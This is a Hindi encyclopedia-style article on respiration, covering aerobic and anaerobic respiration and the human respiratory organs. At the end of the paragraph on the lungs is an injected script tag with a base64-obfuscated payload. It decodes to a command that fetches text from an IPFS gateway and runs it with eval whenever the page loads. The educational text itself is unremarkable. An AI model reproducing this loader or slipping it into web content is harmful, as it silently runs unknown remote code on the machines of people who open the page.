श्वसन

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(अंग्रेज़ी:Respiratory) श्वसन लेख में मानव शरीर से संबंधित उल्लेख है। समस्त जीवधारियों को अपनी जैविक क्रियाओं के संचालन हेतु ऊर्जा की आवश्यकता होती है। यह ऊर्जा सजीवों के शरीर की सभी जीवित कोशिकाओं में ऑक्सीजन द्वारा भोज्य पदार्थों के ऑक्सीकरण से उत्पन्न होती है और ATP में संचित हो जाती है। इस क्रिया में CO2 गैस भी उत्पन्न होती है जो शरीर से बाहर निकाल दी जाती है। अत: ऑक्सीजन का शरीर में प्रवेश करना, कार्बन डाइ-ऑक्साइड(CO2) का शरीर से बाहर निकलना तथा वे सभी रासायनिक अभिक्रियाएँ जिनके फलस्वरूप ऊर्जा उत्पन्न होती है, श्वसन कहलाता है।

श्वसन क्रिया में भोज्य पदार्थों का अपघटन होता है तथा शरीर का भार घटता है, इसलिए यह एक अपचय क्रिया है। श्वसन क्रिया में एक अणु ग्लूकोज़ के ऑक्सीजन से उत्पन्न ऊर्जा तथा CO2 को निम्नलिखित समीकरण से स्पष्ट किया जा सकता है-

C6H12O6 + 6O2 - 6CO2 + 6H2O + 686 किलो कैलोरी

श्वसन के प्रकार

भोज्य पदार्थों (मुख्यतः ग्लूकोज) के अपघटन के आधार पर श्वसन निम्नलिखित दो प्रकार का होता है-

अवायवीय या अनॉक्सी श्वसन

कुछ निम्नकोटि के जीवों, परजीवी जीवों, यीस्ट तथा कुछ जंतु ऊतकों में ऊर्जा की प्राप्ति हेतु ग्लूकोज़ का लैक्टिक अम्ल या एथिल अल्कोहल में अपघटन होता है। इसमें ऑक्सीजन का उपयोग नहीं होता है, इसलिए इसे अनॉक्सी श्वसन कहते हैं। रासायनिक स्तर पर इसे शर्करा का किण्वन कहते हैं। इस क्रिया में ग्लूकोज़ के एक अणु से 21-28 किलो कैलोरी ऊर्जा प्राप्त होती है। उत्पादित पदार्थों में CO2 तो बाहर निकल जाती है तथा एथिल अल्कोहल कोशिकाओं में रह जाता है।

वायवीय या ऑक्सी श्वसन

यह उच्चकोटि के जीवों में होता है। इसमें वातावरण से ऑक्सीजन ग्रहण की जाती है, जो कोशिकाओं में ऊर्जा उत्पादन के लिए ग्लूकोज का ऑक्सीकरण करती है। इसके फलस्वरूप CO2 तथा जल उत्पन्न होते हैं। इसमें O2 का व्यय होता है जिसे जीव अपने वातावरण से लेता है और बदले में CO2 वातावरण से मुक्त कर देता है। इसे गैसीय विनिमय कहते हैं। चूँकि इसमें ऑक्सीजन का उपयोग होता है, इसलिए इसे ऑक्सी श्वसन कहते हैं। यह क्रिया दो चरणों में पूरी होती है, जिन्हें क्रमश: ग्लाइकोसिस तथा क्रैब चक्र कहते हैं।

मनुष्य का श्वसन तंत्र

मनुष्य के मुख्य श्वसनांग फेफड़े हैं और शेष सहायक अंग हैं। इस प्रकार मनुष्य के श्वसनांगों में नासिका, नासामार्ग, ग्रसनी, स्वर यंत्र, वायुनाल, श्वासनली तथा फेफड़े सम्मिलित होते हैं।

नासिका एवं नासामार्ग

नासिका चेहरे पर मुख द्वार एवं माथे तथा दोनों नेत्रों के बीच उभरी हुई संरचना होती है तथा बाहरी ओर दो अण्डाकार बाह्म नासारन्ध्र द्वारा खुलती है। ये नासारन्ध्र नासा वेश्मों में घुलते हैं। नास वेश्म श्लेष्म द्वारा नम तथा रोमयुक्त होती है। नासा वेश्म में वायु शुद्ध, नम तथा शरीर के ताप के अनुकूल हो जाती है। नासागुहा पीछे एक टेड़े-मेड़े घुमावदार मार्ग में खुलती है। जिसे नासामार्ग कहते हैं। यह उभरी हुई अस्थियों के कारण टेड़ा-मेड़ा होता है तथा श्लेष्मक कला द्वारा आच्छादित रहता है जो चिकना श्लेष्म श्रावित होता है। नासामार्ग भीतर जाकर ग्रसनी में खुलता है।

स्वरयंत्र

ग्रसनी में निगलद्वार से पहले एक छिद्र होता है। इसे ग्लॉटिस कहते हैं। इस पर उपास्थि निर्मित घॉटी ढापन पाया जाता है। स्वरयंत्र एक छोटे बॉक्स-नुमा होता है। इसे टेंटुआ या आदम का एप्पल कहते हैं। पुरुषों में यह बाहर से उभरा हुआ दिखाई देता है। इसका निर्माण उपास्थियों से होता है। यह अन्दर की ओर से श्लेष्मक झिल्ली द्वारा ढँका रहता है। इसमें स्वर डोरियाँ होती है जिससे ध्वनि उत्पन्न की जाती है। अत: स्वरयंत्र ध्वनि उत्पादक यंत्र होता है।

श्वास नाल या श्वास नली

श्वास नली कण्ठ से जुड़ी पतली भिक्ति की अर्द्धपारदर्शक लम्बी नलिका होती है। यह ग्रासनली के अधर तल से चिपकी, ग्रीवा में होती हुई वक्ष गुहा में पहुँचकर दाहिनी तथा बाई दो छोटी शाखाओं में विभाजित हो जाती है। इन शाखाओं को श्वसनियाँ कहते हैं। ये अपनी अपनी ओर के फेफड़े में प्रवेश कर जाती हैं। श्वासनली तथा श्वसनियों की भित्ति में अनेक 'c' के आकार के अपूर्ण व लचीले उपास्थीय वलय होते हैं। जो श्वास नली तथा श्वसनियों को पिचकने से रोकते हैं, और सदैव खुले रहते हैं ताकि इनमें वायु स्वतंत्रतापूर्वक आवागमन कर सके। प्रत्येक श्वसन छोटी नलिकाओं में निरंतर विभाजित होती हुई थैलीवत सूक्ष्म रचना में समाप्त हो जाती है, जिन्हें कूपिका या वायु कोष्ठ कहते हैं।

फेफड़े या फुफ्फुस

मनुष्य में दो बड़े शंक्वाकार फेफड़े प्रमुख श्वसनांग होते हैं। ये शरीर के वक्ष भाग में ह्नदय तथा मध्यावकाश के इधर उधर वक्ष के दाहिने व बाएँ भागों को पूरी तरह घेरे हुए अपनी - अपनी ओर की प्लूरल गुहाओं में डायाफ्राम के ऊपर स्थित होते हैं। ये कोमल, स्पंजी, अत्यंत लचीले और हल्के गुलाबी रंग के होते हैं। दाहिने फेफड़े में तीन पिण्ड तथा बाएँ फेफड़े में दो पिण्ड होते हैं। दाहिना फेफड़ा बाएँ फेफड़े से कुछ बड़ा और चौड़ा किंतु लम्बाई में कुछ छोटा होता है। दोनों फेफड़ों का निचला चौड़ा अवतल भाग डायाफ्राम के उभरे हुए भाग पर चिपका रहता है। प्रत्येक फेफड़ा चारों ओर से एक पतली और दोहरी झिल्ली के आवरण से घिरा रहता है, जिसे प्लूरल कला कहते हैं। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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